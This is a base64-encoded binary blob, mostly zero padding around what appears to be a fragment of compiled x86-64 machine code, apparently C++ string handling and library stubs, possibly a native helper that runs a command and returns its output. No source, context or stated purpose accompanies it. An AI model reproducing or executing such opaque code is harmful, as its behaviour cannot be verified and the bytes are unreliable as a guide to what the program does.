AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA